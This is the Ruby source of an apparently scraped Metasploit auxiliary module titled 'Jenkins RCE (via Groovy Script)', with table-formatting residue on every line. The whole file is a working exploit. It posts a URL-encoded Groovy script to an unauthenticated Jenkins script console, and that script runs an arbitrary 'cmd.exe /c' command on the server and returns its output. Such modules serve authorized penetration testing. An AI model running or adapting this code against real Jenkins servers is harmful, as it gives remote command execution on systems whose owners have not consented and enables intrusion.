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## | ||
# This module requires Metasploit: http:https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
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## | ||
# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata | ||
## | ||
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require 'rex/proto/http' | ||
require 'msf/core' | ||
require 'rexml/document' | ||
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class Metasploit3 < Msf::Auxiliary | ||
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include Msf::Exploit::Remote::HttpClient | ||
include Msf::Auxiliary::Scanner | ||
include Msf::Auxiliary::Report | ||
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def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Jenkins RCE (via Groovy Script)', | ||
'Description' => %q{ | ||
This module takes advantage of the lack of password on Jenkins web applications | ||
and automates the command execution aspect (via groovy script). | ||
}, | ||
'Author' => | ||
[ | ||
'altonjx', | ||
'Jeffrey Cap' | ||
], | ||
'References' => [ | ||
['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] | ||
], | ||
'License' => MSF_LICENSE | ||
)) | ||
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register_options( | ||
[ | ||
OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/script"]), | ||
OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']), | ||
], self.class) | ||
deregister_options('VHOST') | ||
end | ||
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def run_host(ip) | ||
command = datastore['COMMAND'].gsub("\\", "\\\\\\") | ||
res = send_request_cgi( | ||
{ | ||
'uri' => target_uri.path, | ||
'method' => 'POST', | ||
'ctype' => 'application/x-www-form-urlencoded', | ||
'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" | ||
}).to_s.gsub("err&gt;", "") | ||
output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1] | ||
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if output.include? "groovy.control.MultipleCompilationErrorsException" | ||
print_error("An unown error occurred when running the command.") | ||
else | ||
print_good("The server responded with the following output:\n") | ||
puts CGI.unescapeHTML(output) | ||
end | ||
end | ||
end |